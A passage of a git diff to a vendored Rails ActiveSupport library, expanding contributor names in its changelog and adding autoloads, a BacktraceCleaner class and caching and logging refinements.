 * Demote Hash#to_xml to use XmlSimple#xml_in_string so it can't read files or stdin.  #8453 [candlerb, Jeremy Kemper]
 
-* Backport clean_logger changes to support ruby 1.8.2 [mislav]
+* Backport clean_logger changes to support ruby 1.8.2 [Mislav Marohnić]
 
-* Added proper handling of arrays #8537 [hasmanyjosh]
+* Added proper handling of arrays #8537 [Josh Susser]
 
   Before:
     Hash.from_xml '<images></images>'
@@ -437,7 +510,7 @@
 
 * Move common DateTime calculations to Date.  #8536 [Geoff Buesing]
 
-* Added Date#change (like Time#change) [DHH]
+* Added Date#change (like Time#change) [David Heinemeier Hansson]
 
 * DateTime#to_time converts to Time unless out of range.  #8512 [Geoff Buesing]
 
@@ -445,7 +518,7 @@
 
 * Time durations use since instead of + for accuracy.  #8513 [Geoff Buesing]
 
-* escape <'s and >'s in JSON strings. #8371 [Rick]
+* escape <'s and >'s in JSON strings. #8371 [Rick Olson]
 
 * Inflections: MatrixTest -> MatrixTests instead of MatricesTest.  #8496 [jbwiv]
 
@@ -461,11 +534,11 @@
 
 * Simplify API of assert_difference by passing in an expression that is evaluated before and after the passed in block. See documenation for examples of new API. [Marcel Molina Jr.]
 
-* Added assert_difference and assert_no_difference to test/unit assertions [Tobias Luetke]
+* Added assert_difference and assert_no_difference to test/unit assertions [Tobias Lütke]
 
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [DHH]
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
 
-* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API [DHH]
+* Added parsing of file type in Hash.xml_in so you can easily do file uploads with base64 from an API [David Heinemeier Hansson]
 
     <person>
       <name>David</name>
@@ -485,9 +558,9 @@
 
 * Use XSD-compatible type names for Hash#to_xml and make the converters extendable #8047 [Tim Pope]
 
-* Added yielding of builder in Hash#to_xml [DHH]
+* Added yielding of builder in Hash#to_xml [David Heinemeier Hansson]
 
-* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) [DHH]
+* Hash#with_indifferent_access now also converts hashes kept in arrays to indifferent access (makes it easier to treat HTML and XML parameters the same) [David Heinemeier Hansson]
 
 * Hash#to_xml supports YAML attributes.  #7502 [jonathan]
 
@@ -505,9 +578,9 @@
 
 * Give DateTime correct .to_s implementations, lets it play nice with ActiveRecord quoting.  #7649 [Geoff Buesing]
 
-* Add File.atomic_write,  allows you to write large files in an atomic manner, preventing users from seeing half written files.  [Koz]
+* Add File.atomic_write,  allows you to write large files in an atomic manner, preventing users from seeing half written files.  [Michael Koziarski]
 
-* Allow users to provide custom formatters to Logger. [aeden]
+* Allow users to provide custom formatters to Logger. [Anthony Eden]
 
 * Hash#to_query CGI-escapes its keys.  [Jeremy Kemper]
 
@@ -516,7 +589,7 @@
 * :db format for Date#to_s [Jeremy Kemper]
     Date.new(2007, 1, 27).to_s(:db) # => '2007-01-27'
 
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick]
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick Olson]
 
 * Added Hash#to_query to turn a hash of values into a form-encoded query string [Nicholas Seckar]
 
@@ -551,7 +624,7 @@ public for compatibility.  [Jeremy Kemper]
 
 * Optimize Class Inheritable Attributes so that unnecessary hashes are not created.  Closes #7472 [Bruce Perens]
 
-* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick]
+* Added :instance_writer option to #mattr_writer/accessor, #cattr_writer/accessor, and #class_inheritable_writer to skip the creation of the instance writer.  [Rick Olson]
 
 * Full test coverage for Inflector.  #7228 [Dan Kubb]
 
@@ -576,13 +649,13 @@ public for compatibility.  [Jeremy Kemper]
 
 * Fixed Array#to_xml when it contains a series of hashes (each piece would get its own XML declaration) #6610 [thkarcher/cyu]
 
-* Added Time#to_s(:time) which will just return H:M, like 17:44 [DHH]
+* Added Time#to_s(:time) which will just return H:M, like 17:44 [David Heinemeier Hansson]
 
 * Add Module#attr_accessor_with_default to initialize value of attribute before setting it. Closes #6538. [Stuart Halloway, Marcel Molina Jr.]
 
-* Hash#to_xml handles keys with the same name as Kernel methods.  #6613 [Catfish]
+* Hash#to_xml handles keys with the same name as Kernel methods.  #6613 [Jonathan del Strother]
 
-* Added Time#end_of_day to get 23:59:59 of that day [DHH]
+* Added Time#end_of_day to get 23:59:59 of that day [David Heinemeier Hansson]
 
 * Don't quote hash keys in Hash#to_json if they're valid JavaScript identifiers.  Disable this with ActiveSupport::JSON.unquote_hash_key_identifiers = false if you need strict JSON compliance. [Sam Stephenson]
 
@@ -592,11 +665,11 @@ public for compatibility.  [Jeremy Kemper]
 
 * Fix unicode JSON regexp for Onigurama compatibility.  #6494 [whitley]
 
-* update XmlSimple to 1.0.10. Closes #6532. [nicksieger]
+* update XmlSimple to 1.0.10. Closes #6532. [Nick Sieger]
 
 * Update dependencies to allow constants to be defined alongside their siblings. A common case for this is AR model classes with STI; user.rb might define User, Administrator and Guest for example. [Nicholas Seckar]
 
-* next_week respects DST changes.  #6483, #5617, #2353, #2509, #4551 [marclove, rabiedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net]
+* next_week respects DST changes.  #6483, #5617, #2353, #2509, #4551 [marclove, Rob Biedenharn, rails@roetzel.de, jsolson@damogran.org, drbrain@segment7.net]
 
 * Expose methods added to Enumerable in the documentation, such as group_by. Closes #6170. [sergeykojin@gmail.com, Marcel Molina Jr.]
 
@@ -616,9 +689,9 @@ public for compatibility.  [Jeremy Kemper]
 
 * Hash#to_xml supports Bignum and BigDecimal.  #6313 [edibiase]
 
-* Don't undefine #class in OptionMerger [Rick]
+* Don't undefine #class in OptionMerger [Rick Olson]
 
-* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 [DHH]
+* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 [David Heinemeier Hansson]
 
 * alias_method_chain works with accessor= methods also.  #6153 [Caio Chassot]
 
@@ -670,13 +743,13 @@ public for compatibility.  [Jeremy Kemper]
     self.attr_internal_naming_format = '@%s__rofl'
     attr_internal :foo
 
-* Raise fully qualified names upon name errors. #5533 [lars@pinds.com, Nicholas Seckar]
+* Raise fully qualified names upon name errors. #5533 [Lars Pind, Nicholas Seckar]
 
 * Add extention to obtain the missing constant from NameError instances. [Nicholas Seckar]
 
 * Thoroughly document inflections.  #5700 [petermichaux@gmail.com]
 
-* Added Module#alias_attribute [Jamis/DHH]. Example:
+* Added Module#alias_attribute [Jamis/David Heinemeier Hansson]. Example:
 
     class Content < ActiveRecord::Base
       # has a title attribute
@@ -698,23 +771,23 @@ public for compatibility.  [Jeremy Kemper]
   Provide your own per-environment in e.g. config/environments/development.rb:
     ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
 
-* First cut of the Rails Deprecation system.   [Koz]
+* First cut of the Rails Deprecation system.   [Michael Koziarski]
 
 * Strip boolean XML content before checking for 'true' [Rick Olson]
 
-* Customize default BigDecimal formatting. References #5672 [dave@pragprog.com]
+* Customize default BigDecimal formatting. References #5672 [Dave Thomas]
 
-* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml.  [Rick]
+* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml.  [Rick Olson]
 
 * Optional identity for Enumerable#sum defaults to zero. #5657 [gensym@mac.com]
 
-* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 [shugo@ruby-lang.org]
+* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 [Shugo Maeda]
 
 * Fixed HashWithIndifferentAccess#default #5586 [chris@seagul.co.uk]
 
 * More compatible Hash.create_from_xml. #5523 [nunemaker@gmail.com]
 
-* Added Enumerable#sum for calculating a sum from the elements [DHH, jonathan@daikini.com]. Examples:
+* Added Enumerable#sum for calculating a sum from the elements [David Heinemeier Hansson, jonathan@daikini.com]. Examples:
 
     [1, 2, 3].sum
     payments.sum { |p| p.price * p.tax_rate }
@@ -736,7 +809,7 @@ public for compatibility.  [Jeremy Kemper]
     {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
     #=> ["one", "two", "three"]
 
-* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [DHH]. Example:
+* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [David Heinemeier Hansson]. Example:
 
     Hash.create_from_xml <<-EOT
       <note>
@@ -749,7 +822,7 @@ public for compatibility.  [Jeremy Kemper]
   
     { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
 
-* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary [DHH]
+* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim@weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary [David Heinemeier Hansson]
 
 * Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 [anna@wota.jp]
 
@@ -757,13 +830,13 @@ public for compatibility.  [Jeremy Kemper]
 
 * Add OrderedHash#values. [Sam Stephenson]
 
-* Added Array#to_s(:db) that'll produce a comma-separated list of ids [DHH]. Example:
+* Added Array#to_s(:db) that'll produce a comma-separated list of ids [David Heinemeier Hansson]. Example:
     
     Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
 
 * Normalize classify's argument to a String so that it plays nice with Symbols. [Marcel Molina Jr.] 
 
-* Strip out leading schema name in classify. References #5139. [schoenm@earthlink.net]
+* Strip out leading schema name in classify. References #5139. [Michael Schoen]
 
 * Remove Enumerable#first_match since break(value) handles the use case well enough. [Nicholas Seckar]
 
@@ -795,7 +868,7 @@ public for compatibility.  [Jeremy Kemper]
 
 * Added Module#alias_method_chain [Jamis Buck]
 
-* Updated to Builder 2.0 [DHH]
+* Updated to Builder 2.0 [David Heinemeier Hansson]
 
 * Add Array#split for dividing arrays into one or more subarrays by value or block. [Sam Stephenson]
 
@@ -826,7 +899,7 @@ public for compatibility.  [Jeremy Kemper]
 
 * Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 [François Beausoleil]
 
-* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" [DHH]
+* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" [David Heinemeier Hansson]
 
 * Added Hash#diff to show the difference between two hashes [Chris McGrath]
 
@@ -834,12 +907,12 @@ public for compatibility.  [Jeremy Kemper]
 
 * Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) [Jamis Buck]
 
-* Switched to_xml to use the xml schema format for datetimes.  This allows the encoding of time zones and should improve operability. [Koz]
+* Switched to_xml to use the xml schema format for datetimes.  This allows the encoding of time zones and should improve operability. [Michael Koziarski]
 
 * Added a note to the documentation for the Date related Numeric extensions to indicate that they're
-approximations and shouldn't be used for critical calculations. [Koz]
+approximations and shouldn't be used for critical calculations. [Michael Koziarski]
 
-* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [DHH]. Examples:
+* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [David Heinemeier Hansson]. Examples:
 
     { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
     
@@ -852,7 +925,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
         <moved-on type="date">2005-11-15</moved-on>
       </person>
 
-* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) [DHH]
+* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) [David Heinemeier Hansson]
 
 * Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 [rubyonrails@beautifulpixel.com]
 
@@ -881,7 +954,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
   [Marcel Molina Jr., Sam Stephenson]
 
-* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal [DHH]
+* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal [David Heinemeier Hansson]
 
 * Add 'around' methods to Logger,  to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski]  Example:
 
@@ -896,7 +969,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
 
-* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [DHH]. Example:
+* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [David Heinemeier Hansson]. Example:
 
     class Account < ActiveRecord::Base
       has_one :subscription
@@ -931,7 +1004,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
       include Reloadable
     end
   
-  Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. [DHH]
+  Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. [David Heinemeier Hansson]
 
 * Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb [Nicholas Seckar]
 
@@ -939,7 +1012,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. [Sam Stephenson]
 
-* Fix merge and dup for hashes with indifferent access #3404 [kenneth.miller@bitfield.net]
+* Fix merge and dup for hashes with indifferent access #3404 [Ken Miller]
 
 * Fix the requires in option_merger_test to unbreak AS tests. [Sam Stephenson]
 
@@ -1046,7 +1119,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
 
-* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 [c.r.mcgrath@gmail.com]
+* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 [Chris McGrath]
 
 * Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 [k@v2studio.com]
 
@@ -1056,11 +1129,11 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
 
-* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 [m.stienstra@fngtps.com]
+* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 [Manfred Stienstra]
 
 * Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
 
-* Added String#starts_with? and String#ends_with? #2118 [thijs@vandervossen.net]
+* Added String#starts_with? and String#ends_with? #2118 [Thijs van der Vossen]
 
 * Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
 
@@ -1103,7 +1176,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 [foamdino@gmail.com/others]
 
-* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 [c.r.mcgrath@gmail.com]
+* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 [Chris McGrath]
 
 * Made 1.year == 365.25.days to account for leap years.  This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days.  #1488 [tuxie@dekadance.se]
 
@@ -1138,7 +1211,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
 
-* Fixed inflection of perspectives and similar words #1045 [thijs@vandervossen.net]
+* Fixed inflection of perspectives and similar words #1045 [Thijs van der Vossen]
 
 * Added Fixnum#even? and Fixnum#odd?
 
@@ -1180,7 +1253,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Added inflection rules for "sh" words, like "wish" and "fish" #755 [phillip@pjbsoftware.com]
 
-* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 [Tobias Luetke]
+* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 [Tobias Lütke]
 
 * Added String#to_time and String#to_date for wrapping ParseDate
 
@@ -1246,7 +1319,7 @@ approximations and shouldn't be used for critical calculations. [Koz]
 
 * Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 [Jeremy Kemper]
 
-* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 [Marcel Molina]
+* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 [Marcel Molina Jr.]
 
 * Fixed that Dependencies.reload can't load the same file twice #420 [Kent Sibilev]
 
diff --git a/vendor/rails/activesupport/lib/active_support.rb b/vendor/rails/activesupport/lib/active_support.rb
index d2a7df8b..7ebb3c48 100644
--- a/vendor/rails/activesupport/lib/active_support.rb
+++ b/vendor/rails/activesupport/lib/active_support.rb
@@ -21,41 +21,39 @@
 # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 #++
 
+module ActiveSupport
+  def self.load_all!
+    [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte, SecureRandom, TimeWithZone]
+  end
+
+  autoload :BacktraceCleaner, 'active_support/backtrace_cleaner'
+  autoload :Base64, 'active_support/base64'
+  autoload :BasicObject, 'active_support/basic_object'
+  autoload :BufferedLogger, 'active_support/buffered_logger'
+  autoload :Cache, 'active_support/cache'
+  autoload :Callbacks, 'active_support/callbacks'
+  autoload :Deprecation, 'active_support/deprecation'
+  autoload :Duration, 'active_support/duration'
+  autoload :Gzip, 'active_support/gzip'
+  autoload :Inflector, 'active_support/inflector'
+  autoload :Memoizable, 'active_support/memoizable'
+  autoload :MessageEncryptor, 'active_support/message_encryptor'
+  autoload :MessageVerifier, 'active_support/message_verifier'
+  autoload :Multibyte, 'active_support/multibyte'
+  autoload :OptionMerger, 'active_support/option_merger'
+  autoload :OrderedHash, 'active_support/ordered_hash'
+  autoload :OrderedOptions, 'active_support/ordered_options'
+  autoload :Rescuable, 'active_support/rescuable'
+  autoload :SecureRandom, 'active_support/secure_random'
+  autoload :StringInquirer, 'active_support/string_inquirer'
+  autoload :TimeWithZone, 'active_support/time_with_zone'
+  autoload :TimeZone, 'active_support/values/time_zone'
+  autoload :XmlMini, 'active_support/xml_mini'
+end
+
 require 'active_support/vendor'
-require 'active_support/basic_object'
-require 'active_support/inflector'
-require 'active_support/callbacks'
-
 require 'active_support/core_ext'
-
-require 'active_support/buffered_logger'
-
-require 'active_support/gzip'
-require 'active_support/cache'
-
 require 'active_support/dependencies'
-require 'active_support/deprecation'
-
-require 'active_support/ordered_hash'
-require 'active_support/ordered_options'
-require 'active_support/option_merger'
-
-require 'active_support/memoizable'
-require 'active_support/string_inquirer'
-
-require 'active_support/values/time_zone'
-require 'active_support/duration'
-
 require 'active_support/json'
 
-require 'active_support/multibyte'
-
-require 'active_support/base64'
-
-require 'active_support/time_with_zone'
-
-require 'active_support/secure_random'
-
-require 'active_support/rescuable'
-
-I18n.load_path << File.dirname(__FILE__) + '/active_support/locale/en.yml'
+I18n.load_path << "#{File.dirname(__FILE__)}/active_support/locale/en.yml"
diff --git a/vendor/rails/activesupport/lib/active_support/all.rb b/vendor/rails/activesupport/lib/active_support/all.rb
new file mode 100644
index 00000000..8a8805ee
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/all.rb
@@ -0,0 +1,8 @@
+# For forward compatibility with Rails 3.
+#
+# require 'active_support' loads a very bare minumum in Rails 3.
+# require 'active_support/all' loads the whole suite like Rails 2 did.
+#
+# To prepare for Rails 3, switch to require 'active_support/all' now.
+
+require 'active_support'
diff --git a/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb b/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb
new file mode 100644
index 00000000..0e262c00
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -0,0 +1,72 @@
+module ActiveSupport
+  # Many backtraces include too much information that's not relevant for the context. This makes it hard to find the signal
+  # in the backtrace and adds debugging time. With a BacktraceCleaner, you can setup filters and silencers for your particular
+  # context, so only the relevant lines are included.
+  #
+  # If you need to reconfigure an existing BacktraceCleaner, like the one in Rails, to show as much as possible, you can always
+  # call BacktraceCleaner#remove_silencers!
+  #
+  # Example:
+  #
+  #   bc = BacktraceCleaner.new
+  #   bc.add_filter   { |line| line.gsub(Rails.root, '') } 
+  #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
+  #   bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
+  #
+  # Inspired by the Quiet Backtrace gem by Thoughtbot.
+  class BacktraceCleaner
+    def initialize
+      @filters, @silencers = [], []
+    end
+    
+    # Returns the backtrace after all filters and silencers has been run against it. Filters run first, then silencers.
+    def clean(backtrace)
+      silence(filter(backtrace))
+    end
+
+    # Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.
+    #
+    # Example:
+    #
+    #   # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
+    #   backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
+    def add_filter(&block)
+      @filters << block
+    end
+
+    # Adds a silencer from the block provided. If the silencer returns true for a given line, it'll be excluded from the
+    # clean backtrace.
+    #
+    # Example:
+    #
+    #   # Will reject all lines that include the word "mongrel", like "/gems/mongrel/server.rb" or "/app/my_mongrel_server/rb"
+    #   backtrace_cleaner.add_silencer { |line| line =~ /mongrel/ }
+    def add_silencer(&block)
+      @silencers << block
+    end
+
+    # Will remove all silencers, but leave in the filters. This is useful if your context of debugging suddenly expands as
+    # you suspect a bug in the libraries you use.
+    def remove_silencers!
+      @silencers = []
+    end
+
+    
+    private
+      def filter(backtrace)
+        @filters.each do |f|
+          backtrace = backtrace.map { |line| f.call(line) }
+        end
+        
+        backtrace
+      end
+      
+      def silence(backtrace)
+        @silencers.each do |s|
+          backtrace = backtrace.reject { |line| s.call(line) }
+        end
+        
+        backtrace
+      end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/buffered_logger.rb b/vendor/rails/activesupport/lib/active_support/buffered_logger.rb
index 77e0b1d3..33bcf327 100644
--- a/vendor/rails/activesupport/lib/active_support/buffered_logger.rb
+++ b/vendor/rails/activesupport/lib/active_support/buffered_logger.rb
@@ -13,6 +13,8 @@ module ActiveSupport
 
     MAX_BUFFER_SIZE = 1000
 
+    ##
+    # :singleton-method:
     # Set to false to disable the silencer
     cattr_accessor :silencer
     self.silencer = true
@@ -66,13 +68,13 @@ module ActiveSupport
 
     for severity in Severity.constants
       class_eval <<-EOT, __FILE__, __LINE__
-        def #{severity.downcase}(message = nil, progname = nil, &block)
-          add(#{severity}, message, progname, &block)
-        end
-
-        def #{severity.downcase}?
-          #{severity} >= @level
-        end
+        def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+          add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+        end                                                              # end
+                                                                         #
+        def #{severity.downcase}?                                        # def debug?
+          #{severity} >= @level                                          #   DEBUG >= @level
+        end                                                              # end
       EOT
     end
 
@@ -94,9 +96,12 @@ module ActiveSupport
       @guard.synchronize do
         unless buffer.empty?
           old_buffer = buffer
-          clear_buffer
           @log.write(old_buffer.join)
         end
+
+        # Important to do this even if buffer was empty or else @buffer will
+        # accumulate empty arrays for each request where nothing was logged.
+        clear_buffer
       end
     end
 
diff --git a/vendor/rails/activesupport/lib/active_support/cache.rb b/vendor/rails/activesupport/lib/active_support/cache.rb
index e62cec6f..070ba129 100644
--- a/vendor/rails/activesupport/lib/active_support/cache.rb
+++ b/vendor/rails/activesupport/lib/active_support/cache.rb
@@ -3,6 +3,17 @@ require 'benchmark'
 module ActiveSupport
   # See ActiveSupport::Cache::Store for documentation.
   module Cache
+    autoload :FileStore, 'active_support/cache/file_store'
+    autoload :MemoryStore, 'active_support/cache/memory_store'
+    autoload :SynchronizedMemoryStore, 'active_support/cache/synchronized_memory_store'
+    autoload :DRbStore, 'active_support/cache/drb_store'
+    autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
+    autoload :CompressedMemCacheStore, 'active_support/cache/compressed_mem_cache_store'
+
+    module Strategy
+      autoload :LocalCache, 'active_support/cache/strategy/local_cache'
+    end
+
     # Creates a new CacheStore object according to the given options.
     #
     # If no arguments are passed to this method, then a new
@@ -80,11 +91,23 @@ module ActiveSupport
     class Store
       cattr_accessor :logger
 
+      attr_reader :silence, :logger_off
+
       def silence!
         @silence = true
         self
       end
 
+      alias silence? silence
+      alias logger_off? logger_off
+
+      def mute
+        previous_silence, @silence = defined?(@silence) && @silence, true
+        yield
+      ensure
+        @silence = previous_silence
+      end
+
       # Fetches data from the cache, using the given key. If there is data in
       # the cache with the given key, then that data is returned.
       #
@@ -136,13 +159,13 @@ module ActiveSupport
           log("miss", key, options)
 
           value = nil
-          seconds = Benchmark.realtime { value = yield }
+          ms = Benchmark.ms { value = yield }
 
           @logger_off = true
           write(key, value, options)
           @logger_off = false
 
-          log("write (will save #{'%.2f' % (seconds * 1000)}ms)", key, nil)
+          log('write (will save %.2fms)' % ms, key, nil)
 
           value
         end
@@ -209,15 +232,17 @@ module ActiveSupport
       end
 
       private
+        def expires_in(options)
+          expires_in = options && options[:expires_in]
+
+          raise ":expires_in must be a number" if expires_in && !expires_in.is_a?(Numeric)
+
+          expires_in || 0
+        end
+
         def log(operation, key, options)
-          logger.debug("Cache #{operation}: #{key}#{options ? " (#{options.inspect})" : ""}") if logger && !@silence && !@logger_off
+          logger.debug("Cache #{operation}: #{key}#{options ? " (#{options.inspect})" : ""}") if logger && !silence? && !logger_off?
         end
     end
   end
 end
-
-require 'active_support/cache/file_store'
-require 'active_support/cache/memory_store'
-require 'active_support/cache/drb_store'
-require 'active_support/cache/mem_cache_store'
-require 'active_support/cache/compressed_mem_cache_store'
diff --git a/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb b/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb
index b80c2ee4..b16ed25a 100644
--- a/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb
+++ b/vendor/rails/activesupport/lib/active_support/cache/drb_store.rb
@@ -1,15 +1,14 @@
-require 'drb'
-
 module ActiveSupport
   module Cache
     class DRbStore < MemoryStore #:nodoc:
       attr_reader :address
 
       def initialize(address = 'druby://localhost:9192')
+        require 'drb' unless defined?(DRbObject)
         super()
         @address = address
         @data = DRbObject.new(nil, address)
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb b/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb
index f9a7fb14..17552586 100644
--- a/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/vendor/rails/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -13,6 +13,7 @@ module ActiveSupport
     #   server goes down, then MemCacheStore will ignore it until it goes back
     #   online.
     # - Time-based expiry support. See #write and the +:expires_in+ option.
+    # - Per-request in memory cache for all communication with the MemCache server(s).
     class MemCacheStore < Store
       module Response # :nodoc:
         STORED      = "STORED\r\n"
@@ -22,7 +23,12 @@ module ActiveSupport
         DELETED     = "DELETED\r\n"
       end
 
-      attr_reader :addresses
+      def self.build_mem_cache(*addresses)
+        addresses = addresses.flatten
+        options = addresses.extract_options!
+        addresses = ["localhost"] if addresses.empty?
+        MemCache.new(addresses, options)
+      end
 
       # Creates a new MemCacheStore object, with the given memcached server
       # addresses. Each address is either a host name, or a host-with-port string
@@ -32,12 +38,24 @@ module ActiveSupport
       #
       # If no addresses are specified, then MemCacheStore will connect to
       # localhost port 11211 (the default memcached port).
+      #
+      # Instead of addresses one can pass in a MemCache-like object. For example:
+      #
+      #   require 'memcached' # gem install memcached; uses C bindings to libmemcached
+      #   ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
       def initialize(*addresses)
-        addresses = addresses.flatten
-        options = addresses.extract_options!
-        addresses = ["localhost"] if addresses.empty?
-        @addresses = addresses
-        @data = MemCache.new(addresses, options)
+        if addresses.first.respond_to?(:get)
+          @data = addresses.first
+        else
+          @data = self.class.build_mem_cache(*addresses)
+        end
+
+        extend Strategy::LocalCache
+      end
+
+      # Reads multiple keys from the cache.
+      def read_multi(*keys)
+        @data.get_multi keys
       end
 
       def read(key, options = nil) # :nodoc:
@@ -80,6 +98,7 @@ module ActiveSupport
       def exist?(key, options = nil) # :nodoc:
         # Doesn't call super, cause exist? in memcache is in fact a read
         # But who cares? Reading is very fast anyway
+        # Local cache is checked first, if it doesn't know then memcache itself is read from
         !read(key, options).nil?
       end
 
@@ -94,7 +113,6 @@ module ActiveSupport
 
       def decrement(key, amount = 1) # :nodoc:
         log("decrement", key, amount)
-
         response = @data.decr(key, amount)
         response == Response::NOT_FOUND ? nil : response
       rescue MemCache::MemCacheError
